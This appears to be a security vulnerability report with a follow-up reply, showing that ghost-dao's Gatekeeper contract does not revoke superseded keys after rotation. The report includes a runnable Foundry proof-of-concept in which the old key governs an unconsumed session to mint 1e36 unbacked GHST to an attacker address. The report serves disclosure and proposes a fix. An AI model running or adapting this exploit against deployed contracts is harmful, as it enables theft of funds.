Finding: rotation does not revoke. getRotationInfoAt at Gatekeeper dot sol line 99 resolves the signing key with _aggregatedPublicKeys dot upperLookup of the session, and nothing anywhere invalidates a superseded key. trySetTransactionExecuted at StorageHistory dot sol line 39 blocks only a second message per session, not a late first message for an old session. Sessions are sparse per-message nonces: the repo own vectors rotate at sessions 0, 11 and 19 and send messages only at 0, 1, 2, 3, 11, 12 and 19, leaving sessions 4 through 10 and 13 through 18 never consumed. Every gap session in a pre-rotation key range stays spendable by the pre-rotation quorum forever.
The composition: govern at Gatekeeper dot sol line 200 executes an arbitrary target dot call as the Gatekeeper. Staking dot recall at Staking dot sol line 180 mints GHST with only a gatekeeper sender check and no bridgeImbalance accounting; the imbalance check lives only in Gatekeeper dot recall via tryIncreaseBridgeOut. So a post-rotation old-quorum message through govern mints unbacked GHST with no meter.
Executed in forge at the pinned HEAD, 8 of 8 passing. Deployer plants the OLD key at session 0. OLD-signed rotate of session 11 to the NEW key executes, rotation confirmed. Then OLD-signed govern of gap session 5 targeting Staking dot recall for the attacker at 1e36: attacker GHST plus 1e36, ghostedSupply unchanged at 0, session 5 marked executed. A plain signed recall would have been capped by the imbalance check; the govern composition is unmetered.
Precondition, stated honestly: this needs k-of-N cooperation from the former quorum, which is a genuinely heavy bar, so this files at High and not Critical. But rotation ceremonies exist precisely to end trust in the old set — membership change, precautionary rotation, suspected compromise — and the contract accepts a post-rotation message the honest pipeline never produces.
Suggested fix: revoke superseded keys at rotation, or require every session in an old key range to be consumed before rotating.
Checkout: ghost-dao-contracts at b87dff4c7a6ac34b35698c42b4d1f34b5f930864.
The test extends the repo own GatekeeperRecallTest harness, which deploys the full Gatekeeper, Staking, Treasury and Verifier stack. Save it as test/track-b2/TrackB2.t.sol and run:
forge test --match-test test_B201_staleKeyGovernsUnmeteredMintAfterRotation -vv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {GatekeeperRecallTest} from "../gatekeeper/GatekeeperRecall.t.sol";
import {Gatekeeper} from "../../src/Gatekeeper.sol";
import {IStorageHistory} from "../../src/interfaces/IStorageHistory.sol";
contract TrackB2Test is GatekeeperRecallTest {
address constant ATTACKER = 0x0000000000000000000000000000000000000Bad;
address constant RELAYER = 0x0000000000000000000000000000000000000999;
// Fixed test keypairs (even-y BIP340 keys, signatures produced offline
// with an independent pure-python signer, self-checked s*G == R + e*P)
bytes32 constant OLD_PX = 0x4f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa;
bytes32 constant NEW_PX = 0x466d7fcae563e5cb09a0d1870bb580344804617879a14949cf22285f1bae3f27;
function _gk() internal view returns (Gatekeeper) {
return Gatekeeper(payable(staking.gatekeeper()));
}
function _plantAsDeployer(Gatekeeper gatekeeper, uint256 session, bytes32 px) internal {
vm.startPrank(INITIALIZER);
gatekeeper.updatePublicKeyMetadata(session, px, 0);
vm.stopPrank();
}
function test_B201_staleKeyGovernsUnmeteredMintAfterRotation() public {
Gatekeeper gatekeeper = _gk();
_plantAsDeployer(gatekeeper, 0, OLD_PX);
// Rotation at session 11, signed by the outgoing (OLD) key.
vm.prank(RELAYER);
gatekeeper.verify(
hex"49f03a67000000000000000000000000000000000000000000000000000000000000000b466d7fcae563e5cb09a0d1870bb580344804617879a14949cf22285f1bae3f270000000000000000000000000000000000000000000000000000000000000000",
0x681a60d6487d4b678c3e4c549123ec2e9853cfad7c56040c19ae7a1f7f7ab7be,
0x68567352eaffc5465b912e1685b507006af1c603e0e5a122e1637993e1992d7e
);
(bytes32 k11,, uint64 s11) = gatekeeper.getRotationInfoAt(11);
assertEq(k11, NEW_PX);
assertEq(s11, 11);
// Gap session 5 was never executed. The OLD key signs a govern() for it
// AFTER the rotation; the contract still accepts it.
uint256 attackerBefore = ghst.balanceOf(ATTACKER);
vm.prank(RELAYER);
gatekeeper.verify(
hex"3137142600000000000000000000000000000000000000000000000000000000000000050000000000007a6900efd0d4639191c49908a7bddbb9a11a994a852700000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000441f035c7a0000000000000000000000000000000000000000000000000000000000000bad0000000000000000000000000000000000c097ce7bc90715b34b9f100000000000000000000000000000000000000000000000000000000000000000",
0x05cf59aa51d067f110bd8879b4920b5fb7f49860275ca8c67ee3a7c058419289,
0xf3ad0009f957e0a7e7dc0bc6dfa4e5f4e4aa2f47050e4063570c6982e3592e66
);
// 1e36 GHST minted out of thin air: no ghosted funds, no imbalance check.
assertEq(ghst.balanceOf(ATTACKER) - attackerBefore, 10**36);
assertEq(gatekeeper.ghostedSupply(), 0);
assertTrue(IStorageHistory(gatekeeper.storageHistory()).isTransactionExecuted(5));
}
}
Can you confirm whether this thread is describing the same exact issue you raised in the current one? If not, please continue this thread with a more in-depth explanation.
Hi. Not the same issue. The thread you linked is about key-epoch invalidation across DKG rotations and the missing chainId binding in Gatekeeper.rotate — the rotation ceremony itself and cross-chain replay of the rotate call.
This report is about what happens after a rotation completes, on the EVM Gatekeeper session-key path:
getRotationInfoAt resolves the signing key with _aggregatedPublicKeys.upperLookup(session), and nothing anywhere revokes a superseded key. The old quorum’s signatures stay valid indefinitely.
Sessions are sparse per-message nonces. The repo’s own vectors rotate at sessions 0, 11 and 19 and consume only 0, 1, 2, 3, 11, 12 and 19 — sessions 4 through 10 and 13 through 18 are never consumed and stay spendable by the pre-rotation quorum forever. trySetTransactionExecuted blocks only a second message per session, not a late first message for a gap session.
The composition that makes it a mint: govern executes an arbitrary target call as the Gatekeeper, and Staking.recall mints GHST with only a gatekeeper sender check and no bridgeImbalance accounting (that check lives only in Gatekeeper.recall via tryIncreaseBridgeOut). A plain signed recall would be capped; the govern path is unmetered.
Executed in forge at the pinned commit, 8 of 8 passing: rotation at session 11 confirmed, then an OLD-signed govern of gap session 5 mints 1e36 GHST with ghostedSupply unchanged at 0.
So the overlap is one shared premise (rotation does not revoke) and the divergence is everything else: the gap-session mechanics, the govern-to-recall unmetered mint composition, and the executed proof. If you see a specific claim in the other thread covering the gap-session or govern legs, point me at it and I will narrow or withdraw accordingly.